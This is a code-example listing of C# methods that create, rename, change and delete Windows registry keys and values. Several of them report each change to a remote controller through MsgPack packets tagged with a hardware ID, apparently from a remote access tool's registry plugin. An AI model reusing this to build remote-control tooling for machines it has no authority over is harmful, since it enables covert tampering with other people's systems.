示例#1
0
        public void CreateKey(string ParentPath)
        {
            string errorMsg;
            string newKeyName = "";

            try
            {
                RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg);
                var Match = new RegSeekerMatch
                {
                    Key        = newKeyName,
                    Data       = RegistryKeyHelper.GetDefaultValues(),
                    HasSubKeys = false
                };

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString    = "regManager";
                msgpack.ForcePathObject("Hwid").AsString       = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString    = "CreateKey";
                msgpack.ForcePathObject("ParentPath").AsString = ParentPath;
                msgpack.ForcePathObject("Match").SetAsBytes(Serialize(Match));
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#2
0
        public void ChangeValue(RegValueData Value, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.ChangeRegistryValue(Value, KeyPath, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#3
0
        public void RenameValue(string OldValueName, string NewValueName, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.RenameRegistryValue(OldValueName, NewValueName, KeyPath, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#4
0
        public void DeleteValue(string KeyPath, string ValueName)
        {
            string errorMsg;

            try
            {
                RegistryEditor.DeleteRegistryValue(KeyPath, ValueName, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#5
0
        public void RenameKey(string OldKeyName, string NewKeyName, string ParentPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.RenameRegistryKey(OldKeyName, NewKeyName, ParentPath, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#6
0
        public void DeleteKey(string KeyName, string ParentPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.DeleteRegistryKey(KeyName, ParentPath, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#7
0
        public void CreateKey(string ParentPath)
        {
            string errorMsg;
            string newKeyName = "";

            try
            {
                RegistryEditor.CreateRegistryKey(ParentPath, out newKeyName, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#8
0
        public void ChangeValue(RegValueData Value, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.ChangeRegistryValue(Value, KeyPath, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
                msgpack.ForcePathObject("Hwid").AsString    = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString = "ChangeValue";
                msgpack.ForcePathObject("KeyPath").AsString = KeyPath;
                msgpack.ForcePathObject("Value").SetAsBytes(Serialize(Value));
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#9
0
        public void DeleteValue(string KeyPath, string ValueName)
        {
            string errorMsg;

            try
            {
                RegistryEditor.DeleteRegistryValue(KeyPath, ValueName, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString   = "regManager";
                msgpack.ForcePathObject("Hwid").AsString      = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString   = "DeleteValue";
                msgpack.ForcePathObject("keyPath").AsString   = KeyPath;
                msgpack.ForcePathObject("ValueName").AsString = ValueName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#10
0
        public void RenameValue(string OldValueName, string NewValueName, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.RenameRegistryValue(OldValueName, NewValueName, KeyPath, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString      = "regManager";
                msgpack.ForcePathObject("Hwid").AsString         = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString      = "RenameValue";
                msgpack.ForcePathObject("KeyPath").AsString      = KeyPath;
                msgpack.ForcePathObject("OldValueName").AsString = OldValueName;
                msgpack.ForcePathObject("NewValueName").AsString = NewValueName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#11
0
        public void RenameKey(string OldKeyName, string NewKeyName, string ParentPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.RenameRegistryKey(OldKeyName, NewKeyName, ParentPath, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
                msgpack.ForcePathObject("Hwid").AsString    = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString = "RenameKey";
                msgpack.ForcePathObject("rootKey").AsString = ParentPath;
                msgpack.ForcePathObject("oldName").AsString = OldKeyName;
                msgpack.ForcePathObject("newName").AsString = NewKeyName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#12
0
        public void CreateValue(string KeyPath, string Kindstring)
        {
            string            errorMsg;
            string            newKeyName = "";
            RegistryValueKind Kind       = RegistryValueKind.None;

            switch (Kindstring)
            {
            case "-1":
            {
                Kind = RegistryValueKind.None;
                break;
            }

            case "0":
            {
                Kind = RegistryValueKind.Unknown;
                break;
            }

            case "1":
            {
                Kind = RegistryValueKind.String;
                break;
            }

            case "2":
            {
                Kind = RegistryValueKind.ExpandString;
                break;
            }

            case "3":
            {
                Kind = RegistryValueKind.Binary;
                break;
            }

            case "4":
            {
                Kind = RegistryValueKind.DWord;
                break;
            }

            case "7":
            {
                Kind = RegistryValueKind.MultiString;
                break;
            }

            case "11":
            {
                Kind = RegistryValueKind.QWord;
                break;
            }
            }
            try
            {
                RegistryEditor.CreateRegistryValue(KeyPath, Kind, out newKeyName, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
示例#13
0
        public void CreateValue(string KeyPath, string Kindstring)
        {
            string            errorMsg;
            string            newKeyName = "";
            RegistryValueKind Kind       = RegistryValueKind.None;

            switch (Kindstring)
            {
            case "-1":
            {
                Kind = RegistryValueKind.None;
                break;
            }

            case "0":
            {
                Kind = RegistryValueKind.Unknown;
                break;
            }

            case "1":
            {
                Kind = RegistryValueKind.String;
                break;
            }

            case "2":
            {
                Kind = RegistryValueKind.ExpandString;
                break;
            }

            case "3":
            {
                Kind = RegistryValueKind.Binary;
                break;
            }

            case "4":
            {
                Kind = RegistryValueKind.DWord;
                break;
            }

            case "7":
            {
                Kind = RegistryValueKind.MultiString;
                break;
            }

            case "11":
            {
                Kind = RegistryValueKind.QWord;
                break;
            }
            }
            try
            {
                RegistryEditor.CreateRegistryValue(KeyPath, Kind, out newKeyName, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString    = "regManager";
                msgpack.ForcePathObject("Hwid").AsString       = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString    = "CreateValue";
                msgpack.ForcePathObject("keyPath").AsString    = KeyPath;
                msgpack.ForcePathObject("Kindstring").AsString = Kindstring;
                msgpack.ForcePathObject("newKeyName").AsString = newKeyName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }